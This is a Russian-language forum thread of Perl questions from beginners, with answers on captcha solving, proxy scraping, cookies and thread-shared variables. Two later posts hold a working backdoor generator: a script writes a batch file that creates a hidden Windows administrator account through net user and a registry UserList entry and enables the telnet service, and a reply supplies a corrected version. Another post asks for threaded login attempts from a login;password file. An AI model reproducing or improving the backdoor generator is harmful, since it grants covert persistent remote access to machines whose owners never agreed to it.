[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    Помогите исправить ошибки в функции

    PHP:
    #!/usr/bin/perl

    use Socket;

    sub anti_num_capcha
    {
        
    $_[0] =~/Время на раздумье 1 минута\: (.+) \=/;

        
    my($ch1,$ch2) = split(/+/, $1);
        
        print 
    $ch1;
        print 
    $ch2;
        
        
    $host 'iiii.eu5.org';
        
    $doc  '/anc/index.php?text='.sh1;
        
    $conn IO::Socket::INET->new(Proto => 'tcp',
                                      
    PeerAddr => $host,
                                      
    PeerPort   => "http(80)");
        || die 
    "Can’t connect\n"
        
        if (!
    $conn);
        
    $conn->autoflush(1);
        print 
    $sock join(
        
    "GET / HTTP/1.0",
        
    "Host: 127.0.0.1",
        
    "User-Agent: Agent v 1.0",
        
    """");
        
    my $res1;
        while (<
    $sock>) { $res1 $res1.<$sock>; }
        
    close $sock;
        
        
    $doc  '/anc/index.php?text='.sh2;
        
    $conn IO::Socket::INET->new(Proto => 'tcp',
                                      
    PeerAddr => $host,
                                      
    PeerPort   => "http(80)");
        || die 
    "Can’t connect\n"
        
        if (!
    $conn);
        
    $conn->autoflush(1);
        print 
    $sock join(
        
    "GET / HTTP/1.0",
        
    "Host: 127.0.0.1",
        
    "User-Agent: Agent v 1.0",
        
    """");
        
    my $res2;
        while (<
    $sock>) { $res1 $res2.<$sock>; }
        
    close $sock;    
        
        return 
    $res1 $res2;
        
    }

    print 
    anti_num_capcha('Для подтверждения того что вы человек, напишите ответ на несложный пример. Время на раздумье 1 минута: сорок пять  + шестнадцать =');

    sleep(123);
     
  2. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    use strict;
    use warnings;
    perldoc -f join
    print и снифер для отладки
     
  3. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Это варнинг, который намекает, что ты использовал массив results только один раз в коде.
     
    _________________________
  4. kodep

    kodep New Member

    Joined:
    29 Jan 2010
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    $ua=LWP::UserAgent->new;
    $ua->timeout(10);
    $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
    $url='http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml?CONNECT';
    $page=$ua->get($url);
    open(LOAD,">./proxy.txt");
    while($page->content=~m/(\d+\.\d+\.\d+\.\d+)\:(\d+)/)
    { 
    print LOAD $1.":".$2."\n";
    print $1.":".$2."\n";
    }
    
    мне нужно что бы скрипт грабил все прокси с опреденной страницы, а скрипт записывает в файл один прокси много раз
     
  5. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Модификатор g
     
  6. kodep

    kodep New Member

    Joined:
    29 Jan 2010
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    я пробовал и с ним и без него все равно... кто нибудь исправьте ошибку в скрипте ))
     
  7. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    $page->content помести перед while, например, так:

    $page=$ua->get($url)->content;
    ........
    while($page =~ .....
     
    _________________________
    2 people like this.
  8. kodep

    kodep New Member

    Joined:
    29 Jan 2010
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    все сделал как ты сказал, заработало...спс
     
  9. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Научите меня куки устанавливать с ресурса правильно...
    И посылать их каждый раз при последующих запросах.
    Используя Libwww. Мб участки кода :) СПС
     
  10. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Code:
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    my $cookie_jar = HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1);
    my $ua = LWP::UserAgent->new;
    $ua->cookie_jar ($cookie_jar);
    
    либо
    Code:
    $ua->cookie_jar (HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1));
    
     
  11. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    как мне сделать?
    переменная = 0;
    Потом запускаю функцию в несколько потоков и в функции к переменной прибавляем число
    Переменная должна увеличиваться тоесть какбе быть глобально

    чтобы было понятно
    надо получить не 22222 а 2345678
    PHP:
    use Threads;
    use 
    Threads::shared;

    my $a 1;
    my $threads 10;

    for(
    1..$threads) { $thread[$_] = threads->create(\&b);}
    for(
    1..$threads) { $thread[$_]->join; }

    sub b {
    $a $a 1;
    print 
    $a."\n";
    }

    sleep 123;
     
    #1511 Vlad&slav, 27 May 2010
    Last edited: 27 May 2010
  12. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    my $a : shared = 1;
     
  13. kodep

    kodep New Member

    Joined:
    29 Jan 2010
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    не как не врублюсь в многопоточность вот я запустил скрипт который сверху 10 потоков прошло и скрипт вырубился можно показать на скрипте сверху как брать логины из txt файла login;password и подключаться к например к сайту как бы сделать авторизацию
     
  14. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Code:
    use warnings;
    use LWP::UserAgent;
    use threads;
    use threads::shared;
    
    my $threads = 2;
    my $file = 'test.txt';
    
    open(F, "<$file") || die $!;
    chomp(my @text : shared = <F>);
    close F;
    
    my @trl = ();
    my $ua = new LWP::UserAgent;
    
    $trl[$_] = threads->create(\&main) for 0..$threads-1;
    $_->join for @trl;
    
    sub main
    {
    	while(@text)
    	{
    		my $line = shift @text;
    		my $code = $ua->get('http://rambler.ru/'.$line)->code;
    		print "$line -- $code\n";
    	}
    }
    
     
    _________________________
    3 people like this.
  15. taxpayer

    taxpayer Member

    Joined:
    17 Jan 2010
    Messages:
    31
    Likes Received:
    7
    Reputations:
    3
    Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива?

    Code:
    my $line;
    {
            lock text;
            $line = shift @text
    }
    
     
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    По-моему я где то читал, что в данном случае это не требуется
     
    _________________________
  17. SHok-SQL

    SHok-SQL New Member

    Joined:
    28 Feb 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Люди подскажыте почему в создаваемом файле там где не надо строки переносятся ? о_О



    Code:
    #!/usr/bin/perl
    
    ###############################################################
    ####                                                       ####
    ####                      Здароваемся :-D                  ####
    ####                                                       ####
    ###############################################################
    
    system ("color 02");
    print "                 ***************************************************\n";
    print "                 ***************************************************\n";
    print "                 ***************************************************\n";
    print "                 *******                                    ********\n";
    print "                 *******       SH Bat begdor generator      ********\n";
    print "                 *******                                    ********\n";
    print "                 ***************************************************\n";
    print "                 ***************************************************\n";
    print "                 ***************************************************\n";
    print "                 ***************************************************\n";
    print "                  \n";
    ###############################################################
    ####                                                       ####
    ####            Расспраэваем у юзера данные о бегдоре      ####
    ####                                                       ####
    ###############################################################
    print "                 ***************************************************\n";
    print "                 **********  vvedite login uch zapisi :"; $login = <>;  #Спрашеваем у юзера пароль от учотки
    print "                 ***************************************************\n";
    print "                 ********** vvedete parol' ot uch zapisi : "; $pass = <>;  #Спрашеваем у юзера пасс от учотки
    print "                 ***************************************************\n";
    ###############################################################
    ###############################################################
    ####                                                       ####
    ####    создаем переменные которые  надо вопхнуть в файл   ####
    ####                                                       ####
    ###############################################################
    $a = "@echo off";
    $q = "chcp 1251";
    $w = "net user $login $pass /add";
    $e = "net localgroup Администраторы $login /add";
    $r = "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v ваш_логин /t REG_DWORD /d 0 /f";
    $s = "sc config tlntsvr start= auto";
    $ts = "sc start tlntsvr";
    ################################################
    #   созаём файл и нибиваем в него переменные   #
    ################################################
    open(OUT, '>> begdor.bat');############
    print OUT $a."\n";#####################
    print OUT $q."\n";#####################
    print OUT $w."\n";#####################
    print OUT $e."\n";#####################
    print OUT $r."\n";#####################
    print OUT $s."\n";#####################
    print OUT $ts."\n";####################
    close(OUT);############################
    #######################################
    <>
     
    #1517 SHok-SQL, 8 Jun 2010
    Last edited: 8 Jun 2010
  18. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Потому что данные вводимые с клавиатуры надо обрабатывать функцией chomp. И скажите хакеру который это писал, что бы прочитал что нибудь про экранирование.

    perl script.pl login passwd
    Code:
    #!/usr/bin/perl
    open FILE, '> output.bat';
    print FILE "\@echo off\n",
               "chcp 1251\n",
               "net user $ARGV[0] $ARGV[1] /add\n",
               "reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v ваш_логин /t REG_DWORD /d 0 /f\n",
               "sc config tlntsvr start= auto\n",
               "sc start tlntsvr";
    close FILE;
     
    3 people like this.
  19. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Господа, такой вопрос:

    Имеется расшаренная переменная: my $n : shared = 0;
    в скрипте в несколько потоков выполняется функция, (допустим такая):

    Code:
    sub arbyte
         {
    	while($n <= 1000)
    	     {
    		$n++;
    		print $n."\n";
    	     }
         }
    Проблема в том, что периодически несколько потоков, обрабатывают одно и то же значение $n, что очень мешает..( Как этого избежать, не теряя скорость выполнения..?!
     
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    мейби так поможет:
    Code:
     while ($n<= 1000) {
                { lock($n);
                $n++; }
                print $n."\n";
      }             
    
     
    1 person likes this.
Thread Status:
Not open for further replies.